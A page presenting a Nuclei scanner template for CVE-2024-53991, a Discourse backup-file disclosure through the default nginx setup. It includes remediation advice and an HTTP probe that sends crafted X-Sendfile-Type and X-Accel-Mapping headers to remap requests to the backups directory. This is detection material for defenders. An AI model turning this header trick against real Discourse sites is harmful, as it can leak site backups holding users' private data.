Skip to content

Discourse Backup File Disclosure Via Default Nginx Configuration

ID: CVE-2024-53991

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,discourse,disclosure

Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use FileStore--LocalStore which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.

id: CVE-2024-53991
info:
name: Discourse Backup File Disclosure Via Default Nginx Configuration
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
remediation: |
This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or 2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
reference:
- https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
- https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-53991
cwe-id: CWE-200
epss-score: 0.00121
epss-percentile: 0.28736
metadata:
shodan-query: http.component:"Discourse"
tags: cve,cve2024,discourse,disclosure
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: styles
group: 1
regex:
- 'href="(/stylesheets/discourse-.*?)"'
internal: true
- raw:
- |
GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
Host: {{Hostname}}
X-Sendfile-Type: X-Accel-Redirect
X-Accel-Mapping: .*=/downloads/backups/default/
matchers:
- type: dsl
dsl:
- 'status_code == 403'
- 'contains(content_type, "text/html")'
- 'contains(response, "discourse")'
condition: and
# digest: 490a004630440220552901cca8cdcce2a8f86dac275180a459cf3eed2a063de59ca0fac81d607af50220209e6681365fd001e85764b4c648e35bf76f4150dc3449d66aa33ac49d330c7b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-53991.yaml"

View on Github